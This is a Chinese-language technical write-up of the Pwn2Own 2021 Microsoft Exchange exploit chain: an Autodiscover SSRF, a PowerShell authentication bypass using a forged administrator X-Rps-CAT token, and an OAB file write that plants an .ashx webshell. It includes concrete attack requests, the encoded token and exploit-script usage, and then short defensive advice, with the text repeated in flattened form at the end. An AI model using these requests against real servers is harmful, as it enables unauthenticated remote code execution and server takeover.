Pwn2Own 2021 Microsoft Exchange 漏洞利用链
字数 2039 2025-08-24 23:51:23

Microsoft Exchange 漏洞利用链分析(Pwn2Own 2021)

漏洞概述

本漏洞利用链允许远程攻击者在未授权的情况下,通过三个关键漏洞的组合在Microsoft Exchange Server上实现远程代码执行(RCE)。这三个漏洞分别是:

  1. Autodiscover前端服务中的SSRF漏洞:允许未经身份验证的远程攻击者以LocalSystem权限向后端服务发送任意命令
  2. Powershell后端服务中的身份验证绕过漏洞:允许攻击者以管理员权限运行任意Exchange cmdlet
  3. OAB后端服务中的任意文件写入漏洞:允许攻击者在OAB文件夹上写入webshell

前两个漏洞被称为ProxyShell漏洞,与Orange Tsai发现的漏洞重复。第三个漏洞是独特的,涉及Microsoft Exchange数据库(MDB)和OAB协议的内部知识。

漏洞利用链详解

漏洞一:Autodiscover前端服务SSRF

漏洞原理

Exchange邮箱服务器上的客户端访问服务负责接受所有客户端连接,并将这些连接代理到目标邮箱服务器上的后端服务。Autodiscover前端服务中的SSRF漏洞允许攻击者构造特殊请求,绕过正常代理路径检查。

利用方法

  1. 构造特殊请求,利用SecurityToken1参数和email cookie控制代理路径:
POST /Autodiscover/autodiscover.json?SecurityToken1=rskvp93@gmail.com/ews/exchange.asmx HTTP/1.1
Host: exchange16.domaincorp.com
Cookie: email=Autodiscover/autodiscover.json?SecurityToken1=rskvp93@gmail.com
...
  1. 前端服务会移除Autodiscover/autodiscover.json?SecurityToken1=rskvp93@gmail.com部分,最终将请求代理到/ews/exchange.asmx

  2. 代理请求使用LocalSystem帐户(计算机帐户)进行身份验证

关键利用步骤

  1. 获取用户邮箱的UserDN(旧版DN):
POST /Autodiscover/autodiscover.json?SecurityToken1=rskvp93@gmail.com/Autodiscover/Autodiscover.svc HTTP/1.1
...
<soap:Body>
  <a:GetUserSettingsRequestMessage xmlns:a="http://schemas.microsoft.com/exchange/2010/Autodiscover">
    <a:Request>
      <a:Users>
        <a:User>
          <a:Mailbox>SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com</a:Mailbox>
        </a:User>
      </a:Users>
      <a:RequestedSettings>
        <a:Setting>UserDN</a:Setting>
      </a:RequestedSettings>
    </a:Request>
  </a:GetUserSettingsRequestMessage>
</soap:Body>
  1. 从UserDN获取用户的SID:
POST /Autodiscover/autodiscover.json?SecurityToken1=rskvp93@gmail.com/mapi/emsmdb HTTP/1.1
...
X-User-Identity: SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com
...
/o=domain corp/ou=Exchange Administrative Group (FYDIBOHF23SPDLT)/cn=Recipients/cn=6b9c2aa9d1804deea9b54779f8d4d0ec-SystemMailbo...

漏洞二:Powershell后端服务身份验证绕过

漏洞原理

Powershell后端服务有一个IIS模块,允许将X-Rps-CAT查询字符串转换为X-CommonAccessToken标头,从而绕过正常的身份验证检查。

利用方法

  1. 构造包含伪造的X-Rps-CAT查询字符串的请求:
POST /Autodiscover/autodiscover.json?SecurityToken1=rskvp93@gmail.com/powershell?serializationLevel=Full;ExchClientVer=15.1.2044.4;clientApplication=ManagementShell;TargetServer=;PSVersion=5.1.14393.3053&X-Rps-CAT=VgEAVAdXaW5kb3dzQwBBCEtlcmJlcm9zTBhET01BSU5BQkNEXGFkbWluaXN0cmF0b3JVLVMtMS01LTIxLTM0NTI0Mzk5ODctMzg5OTQ1OTY3Ni00MDQ4ODk2MjcwLTUwMEcKAAAABwAAAC1TLTEtNS0yMS0zNDUyNDM5OTg3LTM4OTk0NTk2NzYtNDA0ODg5NjI3MC01MTMHAAAAB1MtMS0xLTAHAAAAB1MtMS01LTIHAAAACFMtMS01LTExBwAAAAhTLTEtNS0xNQcAAAAtUy0xLTUtMjEtMzQ1MjQzOTk4Ny0zODk5NDU5Njc2LTQwNDg4OTYyNzAtNTIwBwAAAC1TLTEtNS0yMS0zNDUyNDM5OTg3LTM4OTk0NTk2NzYtNDA0ODg5NjI3MC01MTIHAAAALVMtMS01LTIxLTM0NTI0Mzk5ODctMzg5OTQ1OTY3Ni00MDQ4ODk2MjcwLTUxOAcAAAAtUy0xLTUtMjEtMzQ1MjQzOTk4Ny0zODk5NDU5Njc2LTQwNDg4OTYyNzAtNTE5BwAAAAhTLTEtMTgtMUUAAAAA HTTP/1.1
...
  1. 反转CommonAccessToken格式,构造管理员帐户的令牌,包含域组如域管理员、模式管理员等

漏洞三:OAB后端服务任意文件写入

背景知识

脱机通讯簿(OAB)是地址列表集合的本地副本,保存在:

  1. 文件系统:C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\OAB\<oab_guid>
  2. 系统邮箱SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com的OAB文件夹中

漏洞原理

OABGeneratorProcess在下载OAB文件并保存到文件系统时,不检查文件名是否为恶意扩展名(如.aspx、.ashx),导致可以写入webshell。

利用步骤

  1. 使用Powershell身份验证绕过漏洞创建新的OAB,获取oab_guid:
New-OfflineAddressbook -Name test1 -AddressLists "Default Global Address List"
  1. 使用SSRF向/ews/exchange.asmx发送请求,在SystemMailbox的OAB文件夹中创建主题为<oab_guid>的新项目IPM.FileSet

  2. 在该项目中附加两个文件:oab.xml和webshell文件(如rskvp93.ashx

  3. 访问/oab/<oab_guid>/oab.xml触发OABGeneratorProcess

  4. OABGeneratorProcess将下载附件并保存到文件系统

  5. 通过/oab/<oab_guid>/rskvp93.ashx访问webshell

漏洞利用工具

漏洞利用使用Python 2.7开发,需要安装requests模块:

pip install requests

执行命令:

python exploit.py <url> <domain_part> <command>

参数说明:

  • url: 目标URL,如https://ex19.exchangelab.local
  • domain_part: 电子邮件地址的域名部分,如test@exchangelab.local中的exchangelab.local
  • command: 在服务器上运行的cmd命令,如whoami, dir

示例:

python exploit.py https://ex19.exchangelab.local exchangelab.local "whoami /all"

防御措施

  1. 及时安装Microsoft发布的安全补丁
  2. 限制对Exchange服务器Autodiscover端点的外部访问
  3. 监控异常Powershell活动
  4. 实施严格的文件写入权限控制,特别是OAB目录
  5. 定期审计系统邮箱的访问和修改

总结

这个漏洞利用链展示了如何通过组合多个漏洞实现从SSRF到RCE的完整攻击路径。攻击者首先利用SSRF获取系统信息,然后绕过身份验证获取管理员权限,最后通过OAB服务写入webshell。防御此类攻击需要多层次的安全措施和对Exchange服务器内部机制的深入理解。

Microsoft Exchange 漏洞利用链分析(Pwn2Own 2021) 漏洞概述 本漏洞利用链允许远程攻击者在未授权的情况下,通过三个关键漏洞的组合在Microsoft Exchange Server上实现远程代码执行(RCE)。这三个漏洞分别是: Autodiscover前端服务中的SSRF漏洞 :允许未经身份验证的远程攻击者以LocalSystem权限向后端服务发送任意命令 Powershell后端服务中的身份验证绕过漏洞 :允许攻击者以管理员权限运行任意Exchange cmdlet OAB后端服务中的任意文件写入漏洞 :允许攻击者在OAB文件夹上写入webshell 前两个漏洞被称为ProxyShell漏洞,与Orange Tsai发现的漏洞重复。第三个漏洞是独特的,涉及Microsoft Exchange数据库(MDB)和OAB协议的内部知识。 漏洞利用链详解 漏洞一:Autodiscover前端服务SSRF 漏洞原理 Exchange邮箱服务器上的客户端访问服务负责接受所有客户端连接,并将这些连接代理到目标邮箱服务器上的后端服务。Autodiscover前端服务中的SSRF漏洞允许攻击者构造特殊请求,绕过正常代理路径检查。 利用方法 构造特殊请求,利用 SecurityToken1 参数和 email cookie控制代理路径: 前端服务会移除 Autodiscover/autodiscover.json?SecurityToken1=rskvp93@gmail.com 部分,最终将请求代理到 /ews/exchange.asmx 代理请求使用LocalSystem帐户(计算机帐户)进行身份验证 关键利用步骤 获取用户邮箱的UserDN(旧版DN): 从UserDN获取用户的SID: 漏洞二:Powershell后端服务身份验证绕过 漏洞原理 Powershell后端服务有一个IIS模块,允许将 X-Rps-CAT 查询字符串转换为 X-CommonAccessToken 标头,从而绕过正常的身份验证检查。 利用方法 构造包含伪造的 X-Rps-CAT 查询字符串的请求: 反转CommonAccessToken格式,构造管理员帐户的令牌,包含域组如域管理员、模式管理员等 漏洞三:OAB后端服务任意文件写入 背景知识 脱机通讯簿(OAB)是地址列表集合的本地副本,保存在: 文件系统: C:\Program Files\Microsoft\Exchange Server\V15\ClientAccess\OAB\<oab_guid> 系统邮箱 SystemMailbox{bb558c35-97f1-4cb9-8ff7-d53741dc928c}@domaincorp.com 的OAB文件夹中 漏洞原理 OABGeneratorProcess在下载OAB文件并保存到文件系统时,不检查文件名是否为恶意扩展名(如.aspx、.ashx),导致可以写入webshell。 利用步骤 使用Powershell身份验证绕过漏洞创建新的OAB,获取oab_ guid: 使用SSRF向 /ews/exchange.asmx 发送请求,在SystemMailbox的OAB文件夹中创建主题为 <oab_guid> 的新项目 IPM.FileSet 在该项目中附加两个文件: oab.xml 和webshell文件(如 rskvp93.ashx ) 访问 /oab/<oab_guid>/oab.xml 触发OABGeneratorProcess OABGeneratorProcess将下载附件并保存到文件系统 通过 /oab/<oab_guid>/rskvp93.ashx 访问webshell 漏洞利用工具 漏洞利用使用Python 2.7开发,需要安装requests模块: 执行命令: 参数说明: url : 目标URL,如 https://ex19.exchangelab.local domain_part : 电子邮件地址的域名部分,如 test@exchangelab.local 中的 exchangelab.local command : 在服务器上运行的cmd命令,如 whoami , dir 示例: 防御措施 及时安装Microsoft发布的安全补丁 限制对Exchange服务器Autodiscover端点的外部访问 监控异常Powershell活动 实施严格的文件写入权限控制,特别是OAB目录 定期审计系统邮箱的访问和修改 总结 这个漏洞利用链展示了如何通过组合多个漏洞实现从SSRF到RCE的完整攻击路径。攻击者首先利用SSRF获取系统信息,然后绕过身份验证获取管理员权限,最后通过OAB服务写入webshell。防御此类攻击需要多层次的安全措施和对Exchange服务器内部机制的深入理解。